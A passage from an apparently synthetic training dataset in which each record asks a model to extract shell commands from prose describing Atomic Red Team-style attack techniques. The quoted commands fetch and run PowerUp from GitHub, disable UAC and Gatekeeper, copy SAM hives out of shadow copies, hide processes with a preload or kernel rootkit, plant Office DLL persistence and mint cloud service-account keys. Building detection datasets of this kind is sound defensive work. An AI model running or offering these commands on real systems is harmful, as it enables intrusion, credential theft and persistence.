https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The BlackByte ransomware prepares for lateral movement by executing these registry modifications, which disable UAC restrictions and enable long path support:\nNew-ItemProperty \"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force; Agent Tesla malware has been known to abuse this technique, as seen in this example. Modify the registry of the currently logged-in user with this command: reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f", "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force\\n\", \"reg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\policies\\\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The OpenDNS Umbrella service can be stopped with the command: sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist; To disable macOS Gatekeeper, use the following command: sudo spctl --master-disable", "output": "{\"command_list\": [\"sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist\\n\", \"sudo spctl --master-disable\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The SeriousSAM vulnerability (CVE-2021-36934) allows non-admin users to extract hives from shadow copies by executing this command: for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\#{target_hive}\" %temp%\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\#{target_hive}vss*; To extract hives from volume shadow copies leveraging System.IO.File, use the following command:\n1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\" , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n", "output": "{\"command_list\": [\"for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy%a\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" %temp%\\\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\\\#{target_hive}vss*\\n\", \"1..#{limit} | % { \\n try { [System.IO.File]::Copy(\\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy$_\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" , \\\"$env:TEMP\\\\#{target_hive}vss$_\\\", \\\"true\\\") } catch {}\\n ls \\\"$env:TEMP\\\\#{target_hive}vss$_\\\" -ErrorAction Ignore\\n}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To simulate rootkit behavior by hiding a process, use the following command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"; Here's how to load the Diamorphine module and demonstrate process hiding with these commands: sudo modprobe #{rootkit_name}\nping -c 10 localhost >/dev/null & TARGETPID=\"$!\"\nps $TARGETPID\nkill -31 $TARGETPID\nps $TARGETPID || echo \"process ${TARGETPID} hidden\"\n", "output": "{\"command_list\": [\"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\", \"sudo modprobe #{rootkit_name}\\nping -c 10 localhost >/dev/null & TARGETPID=\\\"$!\\\"\\nps $TARGETPID\\nkill -31 $TARGETPID\\nps $TARGETPID || echo \\\"process ${TARGETPID} hidden\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves creating a registry entry in the Office Test location to execute a DLL on Office startup, with the following command that handles both 32-bit and 64-bit Office installations: $wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\")) \n{\n Write-Host \"64-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\" /f \n}\nelse{\n Write-Host \"32-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\" /f\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"; GCP Service Accounts serve as both an initial access vector and persistence mechanism when configured with these commands: gcloud config set project #{project-id}\ngcloud iam service-accounts create #{service-account-name}\ngcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}\n", "output": "{\"command_list\": [\"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\")) \\n{\\n Write-Host \\\"64-bit Office\\\"\\n reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office test\\\\Special\\\\Perf\\\" /t REG_SZ /d \\\"PathToAtomicsFolder\\\\T1137.002\\\\bin\\\\officetest_x64.dll\\\" /f \\n}\\nelse{\\n Write-Host \\\"32-bit Office\\\"\\n reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office test\\\\Special\\\\Perf\\\" /t REG_SZ /d \\\"PathToAtomicsFolder\\\\T1137.002\\\\bin\\\\officetest_x86.dll\\\" /f\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\", \"gcloud config set project #{project-id}\\ngcloud iam service-accounts create #{service-account-name}\\ngcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To simulate a file download via finger.exe, which defaults to localhost but can accept a custom argument for external servers, use the following command: finger base64_filedata@#{remote_host}. Note that testing on localhost won't establish a successful connection.; To download a file using the built-in Windows utility IMEWDBLD.exe, which will generate an error for invalid dictionary files, use the following command:\n$imewdbled = $env:SystemRoot + \"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\"\n& $imewdbled #{remote_url}\n\nThe downloaded files can be found in specific INetCache directories with randomized names.", "output": "{\"command_list\": [\"finger base64_filedata@#{remote_host}\\n\", \"$imewdbled = $env:SystemRoot + \\\"\\\\System32\\\\IME\\\\SHARED\\\\IMEWDBLD.exe\\\"\\n& $imewdbled #{remote_url}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Word document will trigger a dialogue box requiring user confirmation, then attempt to launch PowerShell with DDEAUTO for script execution, initiated by this command: start \"$PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\"; To discover files on the file system and save the results, use the following command:\ndir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n", "output": "{\"command_list\": [\"start \\\"$PathToAtomicsFolder\\\\T1559.002\\\\bin\\\\DDE_Document.docx\\\"\\n\", \"dir /s c:\\\\ >> #{output_file}\\ndir /s \\\"c:\\\\Documents and Settings\\\" >> #{output_file}\\ndir /s \\\"c:\\\\Program Files\\\\\\\" >> #{output_file}\\ndir \\\"%systemdrive%\\\\Users\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\Desktop\\\\*.*\\\" >> #{output_file}\\ntree /F >> #{output_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single 